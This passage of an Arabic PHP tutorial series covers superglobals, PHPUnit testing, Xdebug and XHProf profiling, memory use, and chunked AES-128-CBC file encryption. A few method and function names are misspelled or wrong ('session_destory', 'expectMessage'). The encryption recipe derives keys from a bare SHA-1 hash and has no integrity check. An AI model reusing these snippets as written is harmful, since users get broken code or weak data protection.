echo "Value: 4; No file was uploaded."; break; case UPLOAD_ERR_NO_TMP_DIR: echo "Value: 6; Missing a temporary folder. Introduced in PHP 5.0.3."; break; case UPLOAD_ERR_CANT_WRITE: echo "Value: 7; Failed to write file to disk. Introduced in PHP 5.1.0."; break; case UPLOAD_ERR_EXTENSION: echo "Value: 8; A PHP extension stopped the file upload. PHP does not provide a way to ascertain which extension caused the file upload to stop; examining the list of loaded extensions with phpinfo() may help. Introduced in PHP 5.2.0."; break; default: echo "An unknown error has occurred."; break; } } هذا مثال بسيط جدًا ولا يعالج مشاكل مثل امتدادات الملفات الغير مسموح بها أو الملفات المسمّاة بأسماء شيفرة PHP (مثل ما يعادل حقن SQL في PHP). الخطوة الأولى هي التأكد من وجود ملفات وإذا وجدت أسند عددهم للمتغير ‎$total. ثم نستخدم الحلقة for للمرور على عناصر المصفوفة ‎$_FILES الواحد تلو الآخر، عند كل ملف إذا لم يواجه مشاكل عندها تكون نتيجة الشرط if هي true ويُحمّل الملف، أما إذا وجدت مشكلة ما تُنفّذ الكتلة switch ويتم إخبارنا بالخطأ الحاصل الذي أوقف عملية تحميل هذا الملف. ‎$_COOKIE مصفوفة ترابطية من المتغيرات الممررة للسكربت الحالي باستخدام ملفات تعريف ارتباط HTTP (‏HTTP Cookies‏‏‏)‏. ملفات تعريف الارتباط هي متغيرات تحوي بيانات وتخزّن في حاسوب العميل، وعلى عكس المتغيرات ذات النطاق العام العالي فإنّه يجب إنشاؤها مع وظيفة (وليس إسناد قيمة لها)، إليك المثال التالي: setcookie("myVar", "myVal", time() + 3600); في المثال السابق حُدِّد اسم ملف تعريف الارتباط ("myVar")، وإعطاء قيمة له ("myVal")، ويمكن تمرير متغير لإسناد قيمته لملف تعريف الارتباط، ثم وقت انتهاء الصلاحية (في مثالنا هو ساعة بما أنّ 3600 ثانية تعادل ساعة). يمكن الوصول إلى ملف تعريف الارتباط بنفس الطرق السابقة بالرغم من أنّ طريقة إنشائه مختلفة. echo $_COOKIE["myVar"]; // "myVal" لتدمير ملف تعريف الارتباط يجب إعادة استدعاء الدالة setcookie لكن تُعطى قيمة وقت انتهاء الصلاحية أي وقت ماضٍ. كما في المثال: setcookie("myVar", "", time() - 1); var_dump($_COOKIE["myVar"]); // null سيلغي هذا تعيين ملف الارتباط ويزيله من حاسوب العميل. ‎$_SESSION مصفوفة ترابطية تحوي متغيرات الجلسة المتاحة للسكربت الحالي، يمكنك الاطلاع على توثيق دوال الجلسات لمزيدٍ من المعلومات. تشبه الجلسات ملفات تعريف الارتباط إلى حد كبير باستثناء أنّها من جانب الخادم. يجب استدعاء الدالة session_start()‎ في بداية السكربت للسماح باستخدام الجلسات، وتعيين متغير الجلسة مثل تعيين أي متغير آخر، لاحظ المثال التالي: $_SESSION["myVar"] = "myVal"; يُعيَّن في بداية الجلسة معرّف عشوائي (random ID) في ملف تعريف ارتباط يسمّى "PHPSESSID" سيحتوي معرّف الجلسة الحالية، ويمكن الوصول له باستدعاء الدالة session_id()‎. يمكن تدمير متغيرات الجلسة باستدعاء الدالة unset، مثل (unset($_SESSION["myVar"]‎) سيدمر هذا المتغير. الحل البديل هو استدعاء الدالة session_destory()‎، سيدمر هذا كامل الجلسة أي لن يبقى لدينا أيّ من متغيراتها. ‎$_REQUEST مصفوفة ترابطية تحوي افتراضيًا محتويات المصفوفات ‎ $GET و‎$POST و‎$_COOKIE. بما أنّه من الممكن أن تحوي هذه المصفوفات الثلاثة على فهرس بنفس الاسم فإنّه يوجد إعداد في ملف php.ini يسمى request_order يحدد الأولوية لهذه المصفوفات، مثلًا إذا ضُبط للقيمة "GPC" عندها ستُستخدم قيمة ‎$_COOKIE، فقراءتها من اليسار لليمين تعني أنّ ‎$_REQUEST ستضبط قيمتها ل‎$_GET ثم ‎$_POST ثم ‎$_COOKIE وبما أنّ ‎$_COOKIE هي الأخيرة فهي القيمة الموجودة في ‎$_REQUEST. ‎$_ENV مصفوفة ترابطية من المتغيرات الممررة إلى السكربت الحالي عن طريق البيئة. تُستورد هذه المتغيرات إلى مجال الأسماء العام في PHP من البيئة التي يُنفَّذ فيها محلل PHP. وتزوَّد العديد منها من الصدفة التي تُنفَّذ فيها PHP إذ أنّ الأنظمة المختلفة تشغّل أنواع مختلفة من الصدف ومن الصعب حصرها في قائمة محددة، يمكنك الاطلاع على توثيق صدفتك لتشاهد قائمة من متغيرات البيئة المعرّفة. تتضمن متغيرات البيئة الأخرى متغيرات CGI، بغض النظر إن كانت PHP تُنفّذ كوحدة خادم أو معالج CGI. كل ما يُخزّن ضمن ‎$_ENV يأتي من البيئة التي تُنفّذ فيها PHP، وتُملأ فقط إذا سُمح بها ضمن الملف php.ini. 3.2: متغيرات النطاق العام العالي في PHP5 هذه المتغيرات هي: ‎$GLOBALS ‎$_REQUEST ‎$_GET ‎$_POST ‎$_FILES ‎$_SERVER ‎$_ENV ‎$_COOKIE ‎$_SESSION ‎$GLOBALS يُستخدم هذا المتغير ذو النطاق العام العالي للوصول إلى المتغيرات العامة. <?php $a = 10; function foo(){ echo $GLOBALS['a']; } // وهي 10 a سيطبع هذا قيمة المتغير العام ?> ‎$_REQUEST يُستخدم هذا المتغير ذو النطاق العام العالي لجمع البيانات المرسلة من نموذج HTML. <?php if(isset($_REQUEST['user'])){ echo $_REQUEST['user']; } // POST و/أو GET والمُرسل بطريقة `name = user` الذي لديه الخاصية HTML ستُطبع قيمة حقل ‎$_GET يُستخدم هذا المتغير ذو النطاق العام العالي لجمع البيانات المرسلة من نموذج HTML بالطريقة GET. <?php if(isset($_GET['username'])){ echo $_GET['username']; } // (1) ?> في الموضع (1) ستُطبع قيمة حقل HTML الذي له الخاصية name = username والمُرسل بطريقة GET. ‎$_POST يُستخدم هذا المتغير ذو النطاق العام العالي لجمع البيانات المرسلة من نموذج HTML بالطريقة POST. <?php if(isset($_POST['username'])){ echo $_POST['username']; } // (1) في الموضع (1) ستُطبع قيمة حقل HTML الذي له الخاصية name = username والمُرسل بطريقة POST. ‎$_FILES يحمل هذا المتغير ذو النطاق العام العالي معلومات الملفات المحمّلة عبر HTTP بالطريقة POST. <?php if($_FILES['picture']){ echo "<pre>"; print_r($_FILES['picture']); echo "</pre>"; } ?> ستطبع الشيفرة السابقة تفاصيل الملف مع اسم الصورة المحمّلة عبر النموذج الذي له الخاصيّات method="post"‎ وenctype="multipart/form-data"‎ تتضمن التفاصيل اسم الملف، نوع الملف، موقع الملف المؤقت وشيفرة الخطأ (في حال حصل أي خطأ أثناء تحميل الملف) وحجم الملف بالبايتات، مثال: Array ( [picture] => Array ( [0] => Array ( [name] => 400.png [type] => image/png [tmp_name] => /tmp/php5Wx0aJ [error] => 0 [size] => 15726 ) ) ) ‎$_SERVER يحمل هذا المتغير ذو النطاق العام العالي معلومات حول السكربتات وترويسات HTTP ومسارات الخادم. <?php echo "<pre>"; print_r($_SERVER); echo "</pre>"; /** ستطبع هذه الشيفرة التفاصيل التالية على الخادم المحلي (XAMPP مثل) Array ( [MIBDIRS] => C:/xampp/php/extras/mibs [MYSQL_HOME] => \xampp\mysql\bin [OPENSSL_CONF] => C:/xampp/apache/bin/openssl.cnf [PHP_PEAR_SYSCONF_DIR] => \xampp\php [PHPRC] => \xampp\php [TMP] => \xampp\tmp [HTTP_HOST] => localhost [HTTP_CONNECTION] => keep-alive [HTTP_CACHE_CONTROL] => max-age=0 [HTTP_UPGRADE_INSECURE_REQUESTS] => 1 [HTTP_USER_AGENT] => Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36 [HTTP_ACCEPT] => text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*;q=0.8 [HTTP_ACCEPT_ENCODING] => gzip, deflate, sdch [HTTP_ACCEPT_LANGUAGE] => en-US,en;q=0.8 [PATH] => C:\xampp\php;C:\ProgramData\ComposerSetup\bin; [SystemRoot] => C:\Windows [COMSPEC] => C:\Windows\system32\cmd.exe [PATHEXT] => .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC [WINDIR] => C:\Windows [SERVER_SIGNATURE] => Apache/2.4.16 (Win32) OpenSSL/1.0.1p PHP/5.6.12 Server at localhost Port 80 [SERVER_SOFTWARE] => Apache/2.4.16 (Win32) OpenSSL/1.0.1p PHP/5.6.12 [SERVER_NAME] => localhost [SERVER_ADDR] => ::1 [SERVER_PORT] => 80 [REMOTE_ADDR] => ::1 [DOCUMENT_ROOT] => C:/xampp/htdocs [REQUEST_SCHEME] => http [CONTEXT_PREFIX] => [CONTEXT_DOCUMENT_ROOT] => C:/xampp/htdocs [SERVER_ADMIN] => postmaster@localhost [SCRIPT_FILENAME] => C:/xampp/htdocs/abcd.php [REMOTE_PORT] => 63822 [GATEWAY_INTERFACE] => CGI/1.1 [SERVER_PROTOCOL] => HTTP/1.1 [REQUEST_METHOD] => GET [QUERY_STRING] => [REQUEST_URI] => /abcd.php [SCRIPT_NAME] => /abcd.php [PHP_SELF] => /abcd.php [REQUEST_TIME_FLOAT] => 1469374173.88 [REQUEST_TIME] => 1469374173 ) */ ?> ‎$_ENV يحمل هذا المتغير ذو النطاق العام العالي معلومات متغيرات بيئة الصدفة التي تُنفّذ فيها شيفرة PHP. ‎$_COOKIE يُستخدم هذا المتغير ذو النطاق العام العالي لاسترجاع قيمة ملف تعريف الارتباط مع مفتاح مُعطى. <?php $cookie_name = "data"; $cookie_value = "Foo Bar"; setcookie($cookie_name, $cookie_value, time() + (86400 * 30), "/"); // 86400 = يوم واحد if(!isset($_COOKIE[$cookie_name])) { echo "Cookie named '" . $cookie_name . "' is not set!"; } else { echo "Cookie '" . $cookie_name . "' is set!<br>"; echo "Value is: " . $_COOKIE[$cookie_name]; } /** Cookie 'data' is set! Value is: Foo Bar */ ?> ‎$_SESSION يُستخدم هذا المتغير ذو النطاق العام العالي لضبط واسترجاع قيمة الجلسة المخزنة على الخادم. <?php // ابدأ الجلسة session_start(); /** ضبط متغيرات الجلسة التي يمكن الوصول إليها من صفحات مختلفة من الخادم الذي خزنها */ $_SESSION["username"] = "John Doe"; $_SESSION["user_token"] = "d5f1df5b4dfb8b8d5f"; echo "Session is saved successfully"; /** Session is saved successfully */ ?> ترجمة -وبتصرف- للفصول [Superglobal Variables PHP] من كتاب PHP Notes for Professionals book اقرأ أيضًا المقال التالي: طباعة القيم وعرضها في PHP المقال السابق: المتغيرات والثوابت في PHP
  11. قواعد صنف الاختبار بفرض لدينا الصنف LoginForm مع التابع rules()‎، والذي يستخدم في صفحة تسجيل الدخول مثل قالب لإطار العمل: class LoginForm { public $email; public $rememberMe; public $password; // (1) public function rules() { return [ // البريد الإلكتروني وكلمة السر مطلوبان [['email', 'password'], 'required'], // يجب أن يكون البريد الإلكتروني بصياغة بريد إلكتروني ['email', 'email'], // ‫يجب أن يكون الحقل rememberMe قيمة منطقية ['rememberMe', 'boolean'], // ‫يجب أن تطابق كلمة السر هذا النمط (أي تحوي أحرف وأرقام فقط) ['password', 'match', 'pattern' => '/^[a-z0-9]+$/i'], ]; } // ‫تتحقق هذه الدالة من صحة القواعد الممررة public function validate($rule) { $success = true; list($var, $type) = $rule; foreach ((array) $var as $var) { switch ($type) { case "required": $success = $success && $this->$var != ""; break; case "email": $success = $success && filter_var($this->$var, FILTER_VALIDATE_EMAIL); break; case "boolean": $success = $success && filter_var($this->$var, FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE) !== null; break; case "match": $success = $success && preg_match($rule["pattern"], $this->$var); break; default: throw new \InvalidArgumentException("Invalid filter type passed") } } return $success; } } في الموضع (1) يعيد التابع rules()‎ مصفوفة بمتطلبات كل حقل، يستخدم نموذج تسجيل الدخول البريد الإلكتروني وكلمة المرور لاستيثاق المستخدم. نستخدم اختبار الوحدات لإجراء الاختبارات على هذا الصنف، أي للتحقق من الشيفرة المصدرية لمعرفة إذا كانت تناسب توقعاتنا: class LoginFormTest extends TestCase { protected $loginForm; // تنفيذ الشيفرة في بداية الاختبار public function setUp() { $this->loginForm = new LoginForm; } // (1) public function testRuleValidation() { $rules = $this->loginForm->rules(); // التهيئة للتحقق من صحة واختبار البيانات التالية $this->loginForm->email = "valid@email.com"; $this->loginForm->password = "password"; $this->loginForm->rememberMe = true; $this->assertTrue($this->loginForm->validate($rules), "Should be valid as nothing is invalid"); // اختبار صحة البريد الإلكتروني // بما أننا حددنا أن يكون البريد الإلكتروني بصياغة بريد إلكتروني فلا يمكن أن يكون فارغًا­ $this->loginForm->email = ''; $this->assertFalse($this->loginForm->validate($rules), "Email should not be valid (empty)"); // ‫لا يحتوي البريد الإلكتروني على العلامة "@" لذا فهو غير صحيح $this->loginForm->email = 'invalid.email.com'; $this->assertFalse($this->loginForm->validate($rules), "Email should not be valid (invalid format)"); // قيمة صحيحة للبريد الإلكتروني من أجل الاختبار التالي $this->loginForm->email = 'valid@email.com'; // ‫اختبار صحة كلمة المرور والتي يجب ألا تكون فارغة (بما أنها مطلوبة) $this->loginForm->password = ''; $this->assertFalse($this->loginForm->validate($rules), "Password should not be valid (empty)"); // قيمة صحيحة لكلمة المرور من أجل الاختبار التالي $this->loginForm->password = 'ThisIsMyPassword'; // ‫اختبار صحة الحقل rememberMe $this->loginForm->rememberMe = 999; $this->assertFalse($this->loginForm->validate($rules), "RememberMe should not be valid (integer type)"); // ‫قيمة صحيحة للحقل rememberMe من أجل الاختبار التالي $this->loginForm->rememberMe = true; } } في الموضع (1) يجب أن نستخدم التابع validate()‎ للتحقق من صحة قواعدنا، يعود التابع testRuleValidation()‎ إلى اختبار الوحدة الخاص بالصنف LoginFormTest ويختبر القواعد المذكورة سابقًا. كيف يمكن أن يساعد اختبار الوحدات هنا (باستثناء الأمثلة العامة)؟ يناسبنا عند الحصول على نتائج غير متوقعة مثلًا، بفرض لدينا هذه القاعدة: ['password', 'match', 'pattern' => '/^[a-z0-9]+$/i'], إذا نسينا شيئًا واحدًا مهمًا وكتبنا: ['password', 'match', 'pattern' => '/^[a-z0-9]$/i'], من الصعب اكتشاف الأخطاء مع وجود عشرات القواعد المختلفة، وبفرض أننا لا نستخدم البريد الإلكتروني وكلمة المرور فقط، إليك اختبار الوحدة هذا: // التهيئة للتحقق من صحة واختبار البيانات التالية $this->loginForm->email = "valid@email.com"; $this->loginForm->password = "password"; $this->loginForm->rememberMe = true; $this->assertTrue($this->loginForm->validate($rules), "Should be valid as nothing is invalid"); سيمرر هذا الاختبار مثالنا الأول وليس الثاني لأنه لدينا خطأ مطبعي في المثال الثاني (لم نكتب علامة +)، مما يعني أنه سيقبل حرف/رقم واحد فقط. يمكن تنفيذ اختبار الوحدات في الطرفية باستخدام الأمر phpunit [path_to_file]‎، إذا كان كل شيء صحيحًا، يجب أن نكون قادرين على رؤية الحالة OK لكل الاختبارات وإلا سنرى إما Error لخطأ في الصيغة، أو Fail على الأقل لسطر واحد لم يُمرَّر في ذلك التابع. يمكننا أيضًا باستخدام معاملات إضافية مثل ‎--coverage أن نحصل على عدد الأسطر المُختبرة من الشيفرة في الواجهة الخلفية backend وأيها نجحَ/فشلَ، يُطبَّق هذا على أي إطار عمل ثبّتَ PHPUnit. إليك مثال عن طريقة ظهور اختبار PHPUnit في الطرفية، وهو مثال عام وليس له صلة بمثالنا: مقدمو بيانات PHPUnit تحتاج توابع الاختبار عادةً إلى بيانات لتُختَبر بها، ولاختبار بعض التوابع كاملةً تحتاج لتوفير مجموعات بيانات مختلفة لكل حالة اختبار ممكنة، يمكنك القيام بذلك يدويًا باستخدام الحلقات، مثال: ... public function testSomething() { $data = [...]; foreach($data as $dataSet) { $this->assertSomething($dataSet); } } ... يمكن أن تجد هذه الطريقة مريحة ولكن لها بعض العيوب، أولًا عليك أن تؤدي إجراءات إضافية لاستخراج البيانات إذا كانت دالة الاختبار تقبل عدة معاملات، ثانيًا سيكون من الصعب في حالة الفشل تمييز مجموعة البيانات الخاطئة بدون تنقيح أخطاء ورسائل إضافية، ثالثًا يوفر PHPUnit طريقة تلقائية للتعامل مع مجموعات بيانات الاختبار باستخدام مقدمي البيانات. مقدم البيانات دالة يجب أن ترجع بيانات حالة الاختبار الخاصة بك، ويجب أن تكون هذه الدالة عامة وترجع إما مصفوفة من المصفوفات أو كائن ينفّذ الواجهة Iterator ويُرجع مصفوفة لكل خطوة تكرارية. كل مصفوفة جزء من المجموعة collection التي سيستدعيها تابع الاختبار مع محتويات المصفوفة كوسائط لها. لاستخدام مقدم البيانات مع الاختبار نستخدم التوصيف ‎@dataProvider مع اسم دالة مقدم البيانات المحددة: /** * @dataProvider dataProviderForTest */ public function testEquals($a, $b) { $this->assertEquals($a, $b); } public function dataProviderForTest() { return [ [1,1], [2,2], [3,2] //this will fail ]; } مصفوفة مصفوفات لاحظ أنّ الدالة dataProviderForTest()‎ ترجع مصفوفة من مصفوفات، كل مصفوفة متداخلة تحتوي عنصرين سيملآن المعاملات الضرورية للدالة testEquals()‎، إذا لم يكن هناك عناصر كافية سيُرمى خطأ مشابه للخطأ التالي: Missing argument 2 for Test::testEquals()‎ حيث سيمر PHPUnit تلقائيًا على كل البيانات وينفذ الاختبارات، كما هو ظاهر فيما يأتي: public function dataProviderForTest() { return [ [1,1], // [0] testEquals($a = 1, $b = 1) [2,2], // [1] testEquals($a = 2, $b = 2) [3,2] // [2] There was 1 failure: 1) Test::testEquals with data set #2 (3, 4) ]; } يمكن أن تُسمَّى كل مجموعة بيانات ليكون من الأسهل اكتشاف بيانات الفشل: public function dataProviderForTest() { return [ 'Test 1' => [1,1], // [0] testEquals($a = 1, $b = 1) 'Test 2' => [2,2], // [1] testEquals($a = 2, $b = 2) 'Test 3' => [3,2] // [2] There was 1 failure: // 1) Test::testEquals with data set "Test 3" (3, 4) ]; } المكررات class MyIterator implements Iterator { protected $array = []; public function __construct($array) { $this->array = $array; } function rewind() { return reset($this->array); } function current() { return current($this->array); } function key() { return key($this->array); } function next() { return next($this->array); } function valid() { return key($this->array) !== null; } } ... class Test extends TestCase { /** * @dataProvider dataProviderForTest */ public function testEquals($a) { $toCompare = 0; $this->assertEquals($a, $toCompare); } public function dataProviderForTest() { return new MyIterator([ 'Test 1' => [0], 'Test 2' => [false], 'Test 3' => [null] ]); } } كما تلاحظ، فإنَّ المكرِّر البسيط يعمل أيضًا، وأنّ مقدم البيانات يجب أن يرجع مصفوفة ‎$parameter حتى من أجل معامل واحد. إذا غيّرنا التابع current()‎ الذي يعيد البيانات في كل تكرار، بالشكل التالي: function current() { return current($this->array)[0]; } أو غيّرنا البيانات الفعلية: return new MyIterator([ 'Test 1' => 0, 'Test 2' => false, 'Test 3' => null ]); سنحصل على خطأ: There was 1 warning: 1) Warning The data provider specified for Test::testEquals is invalid. من غير المفيد طبعًا استخدام الكائن Iterator لتكرار محتويات مصفوفة بسيطة، يجب أن ينفّذ بعض المنطق المحدد لحالتك. المولدات generators لم يُشار إليها بشكلٍ صريح في التوثيق الرسمي لكن يمكنك استخدامها كمقدم بيانات أيضًا­، لاحظ أنّ الصنف Generator ينفّذ الواجهة Iterator فعليًا، إليك مثال عن استخدام DirectoryIterator مع مولِّد: /** * @param string $file * * @dataProvider fileDataProvider */ public function testSomethingWithFiles($fileName) { // ‫‎$fileName متاح هنا // اختبر هنا } public function fileDataProvider() { $directory = new DirectoryIterator('path-to-the-directory'); foreach ($directory as $file) { if ($file->isFile() && $file->isReadable()) { // تنفيذ المولِّد هنا yield [$file->getPathname()]; } } } لاحظ أنّ مقدم البيانات يُرجع مصفوفة، وستحصل على تحذير أنّ مقدم البيانات غير صحيح. استثناءات الاختبار لنفرض أنك تريد اختبار تابع يرمي استثناءً. class Car { /** * @throws \Exception */ public function drive() { throw new \Exception('Useful message', 1); } } يمكنك القيام بذلك عن طريق تضمين استدعاء التابع في كتلة try/catch وإجراء توكيدات على خاصيات كائن الاستثناء، أو يمكنك استخدام توابع توكيد الاستثناء للمزيد من الملاءمة، يمكنك بدءًا من الإصدار PHPUnit 5.2 استخدام توابع expectX()‎ المتاحة لتأكيد نوع ورسالة وشيفرة الاستثناء. class DriveTest extends PHPUnit_Framework_TestCase { public function testDrive() { // التحضير $car = new \Car(); $expectedClass = \Exception::class; $expectedMessage = 'Useful message'; $expectedCode = 1; // الاختبار $this->expectException($expectedClass); $this->expectMessage($expectedMessage); $this->expectCode($expectedCode); // التنفيذ $car->drive(); } } يمكنك أن تستخدم التابع setExpectedException بدلًا من expectX()‎ إذا كنت تستخدم إصدارًا قديمًا من PHPUnit لكن تذكر أنه تابع مُهمل وسيُحذف في الإصدار 6. class DriveTest extends PHPUnit_Framework_TestCase { public function testDrive() { // التحضير $car = new \Car(); $expectedClass = \Exception::class; $expectedMessage = 'Useful message'; $expectedCode = 1; // الاختبار $this->setExpectedException($expectedClass, $expectedMessage, $expectedCode); // التنفيذ $car->drive(); } } الأداء التحليل مع Xdebug تُعَدّ إضافة Xdebug متاحةً للمساعدة في تحليل تطبيقات PHP، بالإضافة إلى تنقيح الأخطاء وقت التنفيذ، عند تنفيذ المحلل يُكتب الخرج في ملف بصياغة ثنائية تدعى cachegrind. توجد تطبيقات متوفرة على كل منصة لتحليل هذه الملفات. لتمكين التحليل نثبّت الإضافة ونعدّل إعدادات ملف php.ini. سننفذ في مثالنا المحلل اختياريًا بالاعتماد على معامل الطلب، يسمح لنا هذا بالحفاظ على الإعدادات ثابتة وتشغيل المحلل عندما نحتاج فقط. // اضبطه إلى 1 لتشغيله عند كل طلب xdebug.profiler_enable = 0 // ‫لنستخدم معامل GET/POST لتشغيل المحلِّل xdebug.profiler_enable_trigger = 1 // ‫قيمة GET/POST التي سنمررها، فارغة من أجل أي قيمة xdebug.profiler_enable_trigger_value = "" // ‫عرض ملفات الذاكرة cachegrind في المسار ‎/tmp حتى ينظفها النظام لاحقًا xdebug.profiler_output_dir = "/tmp" xdebug.profiler_output_name = "cachegrind.out.%p" ثم استخدم عميل ويب يرسل طلبًا إلى رابط التطبيق الذي ترغب بتحليله، مثل: http://example.com/article/1?XDEBUG_PROFILE=1 أثناء معالجة الصفحة للطلب سيكتب في ملف له اسم مشابه للتالي: /tmp/cachegrind.out.12345 لاحظ أنّه سيكتب ملف واحد لكل عملية/طلب PHP يُنفَّذ، لذا إذا أردت تحليل نموذج مُرسل بالطريقة POST سيُكتب تحليل واحد من أجل الطريقة GET لعرض نموذج HTML وستحتاج إلى تمرير المعامل XDEBUG_PROFILE ، من أجل الإقدام على طلب POST اللاحق لتحليل الطلب الثاني الذي يعالج النموذج، لذا فقد يكون من الأسهل تنفيذ مكتبة curl لإرسال نموذج بالطريقة POST مباشرةً عند التحليل. بمجرد أن يُكتب التحليل، فيمكنك قراءة الذاكرة المخبئية cache بتطبيق مثل KCachegrind: سيعرض التطبيق معلومات التحليل متضمنةً: الدوال المنفَّذة وقت استدعاء الدالة بمفردها واستدعاءات الدالة اللاحقة. عدد مرات استدعاء كل دالة. رسوم بيانية للاستدعاء روابط للشيفرة المصدرية من الواضح أنّ ضبط الأداء خاص جدًا بحالات استخدام كل تطبيق، بشكل عام من الأفضل التركيز على النقاط التالية: يجب ألا ترى استدعاءات متكررة لنفس الدالة، بالنسبة للدوال التي تعالج البيانات وتستعلم عنها قد يكون هناك فرص للتخزين المؤقت. وجود دوال بطيئة التنفيذ، أين يستهلك التطبيق معظم وقته؟ أفضل عائد لضبط الأداء هو التركيز على أجزاء التطبيق التي تستهلك معظم وقته. ملاحظة: إنّ إضافة Xdebug وخاصةً ميزاتها التحليلية مكثّفة للموارد وتبطئ تنفيذ PHP، لذا يُنصح بعدم تنفيذها في بيئة خادم الإنتاج. استخدام الذاكرة يُضبط حد ذاكرة زمن تنفيذ PHP باستخدام موجّه INI الـ ‏memory_limit، حيث يمنع هذا الضبط أي تنفيذ PHP مفرد من استخدام الكثير من الذاكرة مما يؤدي إلى استنزافها من أجل السكربتات الأخرى وبرنامج النظام. حد الذاكرة الافتراضي هو 128MB ويمكن أن يتغير في ملف php.ini أو في وقت التنفيذ. يمكن أن يُضبط ليكون غير محدود لكن يعدّ هذا عمومًا ممارسةً سيئة. يمكن أن يُحدَّد الاستخدام الدقيق للذاكرة أثناء وقت التنفيذ ᠎᠎عن طريق استدعاء الدالة memory_get_usage()‎ التي تعيد عدد بايتات الذاكرة المحجوزة للسكربت الحالي المُنفَّذ. بدءًا من الإصدار PHP 5.2 يوجد لهذه الدالة معامل منطقي اختياري للحصول على ذاكرة النظام المحجوزة الكلية على عكس الذاكرة الفعالة التي تستخدمها PHP. <?php echo memory_get_usage() . "\n"; // ‫الخرج 350688 (أو شيء ما مشابه وهذا يعتمد على النظام وإصدار PHP) // ‫لنستهلك جزءًا من الذاكرة RAM $array = array_fill(0, 1000, 'abc'); echo memory_get_usage() . "\n"; // 387704 // حذف المصفوفة من الذاكرة unset($array); echo memory_get_usage() . "\n"; // 350784 تعطيك الآن الدالة memory_get_usage استخدام الذاكرة في الوقت الذي نُفِّذت فيه، قد تخصص وتلغي تخصيص الكثير من الذاكرة بين استدعاءات الدالة المتلاحقة، يمكنك استخدام الدالة memory_get_peak_usage()‎ للحصول على الحجم الأعظمي من الذاكرة المستخدمة حتى نقطة معينة. <?php echo memory_get_peak_usage() . "\n"; // 385688 $array = array_fill(0, 1000, 'abc'); echo memory_get_peak_usage() . "\n"; // 422736 unset($array); echo memory_get_peak_usage() . "\n"; // 422776 لاحظ أنّ القيمة إما سترتفع أو تبقى ثابتة. التحليل باستخدام XHProf XHProf محلل PHP مكتوب من قِبل شركة فيسبوك لتوفير بديل أخف للإضافة XDebug، يمكن تمكين/تعطيل التحليل بعد تثبيت الوحدة xhprof من شيفرة PHP: xhprof_enable(); doSlowOperation(); $profile_data = xhprof_disable(); ستحتوي المصفوفة المُرجعة على بيانات حول عدد الاستدعاءات ووقت المعالج واستخدام الذاكرة لكل دالة تم الوصول إليها من داخل doSlowOperation()‎. يمكن استخدام ‎الدالة الموالية على أساس خيار أخف لتسجيل معلومات التحليل لجزء من الطلبات فقط (وبصياغة مختلفة).⁩ xhprof_sample_enable()/xhprof_sample_disable() ولهذا يستخدم المحلل بعض الدوال المساعدة (معظمها غير موثَّق) لعرض البيانات (اطلع على هذا المثال)، أو يمكنك أاستعمال أدوات أخرى لتصورها (يمكنك الاطلاع على هذا المثال من مدونة platform.sh). ترجمة -وبتصرف- للفصول Unit Testing - Performance من كتاب PHP Notes for Professionals book
  12. التشفير وفك التشفير المتناظر لملفات كبيرة باستخدام OpenSSL لا توفر PHP دالة مضمنة لتشفير وفك تشفير الملفات الكبيرة، يمكن استخدام الدالة openssl_encrypt لتشفير السلاسل النصية لكن يعد تحميل ملف كبير جدًا في الذاكرة فكرةً سيئةً، لذا يجب كتابة دالة تقوم بهذا العمل، يستخدم هذا المثال خوارزمية AES-128-CBC المتناظرة لتشفير أجزاء صغيرة من ملف كبير وكتابتها في ملف آخر. تشفير الملفات // (1) define('FILE_ENCRYPTION_BLOCKS', 10000); /** * ‫تشفير الملف الممرر وحفظ النتيجة في ملف جديد باللاحقة "‎.enc" * * @param string $source مسار الملف الذي نريد تشفيره * @param string $key المفتاح المستخدم للتشفير * @param string $dest اسم الملف الذي نريد أن نكتب فيه الملف المشفَّر * @return string|false * ‫تعيد هذه الدالة اسم الملف المنشأ أو FALSE إذا حدث خطأ */ function encryptFile($source, $key, $dest) { $key = substr(sha1($key, true), 0, 16); $iv = openssl_random_pseudo_bytes(16); $error = false; if ($fpOut = fopen($dest, 'w')) { // ضع شعاع التهيئة في بداية الملف‬ fwrite($fpOut, $iv); if ($fpIn = fopen($source, 'rb')) { while (!feof($fpIn)) { $plaintext = fread($fpIn, 16 * FILE_ENCRYPTION_BLOCKS); $ciphertext = openssl_encrypt($plaintext, 'AES-128-CBC', $key, OPENSSL_RAW_DATA,$iv); // ‫استخدم أول 16 بايت من النص المشفر كشعاع التهيئة التالي $iv = substr($ciphertext, 0, 16); fwrite($fpOut, $ciphertext); } fclose($fpIn); } else { $error = true; } fclose($fpOut); } else { $error = true; } return $error ? false : $dest; } نحدد في الموضع (1) عدد الكتل التي يجب قراءتها من الملف المصدري من أجل كل جزء، بحيث تتألف كل كتلة من 16 بايت من أجل الخوارزمية الآتية: 'AES-128-CBC' لهذا، فإذا قرأنا 10000 كتلة نحمّل 160 كيلوبايت في الذاكرة، يمكنك تعديل هذه القيمة لقراءة/كتابة أجزاء أصغر/أكبر. فك تشفير الملفات يمكنك استخدام هذه الدالة لفك تشفير الملفات المشفرة بالدالة السابقة. /** * ‫فك تشفير الملف الممرر وحفظ النتيجة في ملف جديد مع حذف آخر 4 محارف من اسم الملف * @param string $source مسار الملف الذي نريد فك تشفيره * @param string $key ‫المفتاح المستخدم لفك التشفير (ويجب أن يكون نفس المفتاح المستخدم للتشفير) * @param string $dest اسم الملف حيث يجب أن نكتب الملف الجديد بعد فك التشفير * @return string|false * ‫تعيد هذه الدالة اسم الملف المنشأ أو FALSE إذا حدث خطأ */ function decryptFile($source, $key, $dest) { $key = substr(sha1($key, true), 0, 16); $error = false; if ($fpOut = fopen($dest, 'w')) { if ($fpIn = fopen($source, 'rb')) { // الحصول على شعاع التهيئة من بداية الملف $iv = fread($fpIn, 16); while (!feof($fpIn)) { $ciphertext = fread($fpIn, 16 * (FILE_ENCRYPTION_BLOCKS + 1)); // يجب أن نقرأ كتلة واحدة زيادة عن التشفير لفك التشفير $plaintext = openssl_decrypt($ciphertext, 'AES-128-CBC', $key, OPENSSL_RAW_DATA,$iv); // ‫استخدم أول 16 بايت من النص المشفر كشعاع التهيئة التالي $iv = substr($ciphertext, 0, 16); fwrite($fpOut, $plaintext); } fclose($fpIn); } else { $error = true; } fclose($fpOut); } else { $error = true; } return $error ? 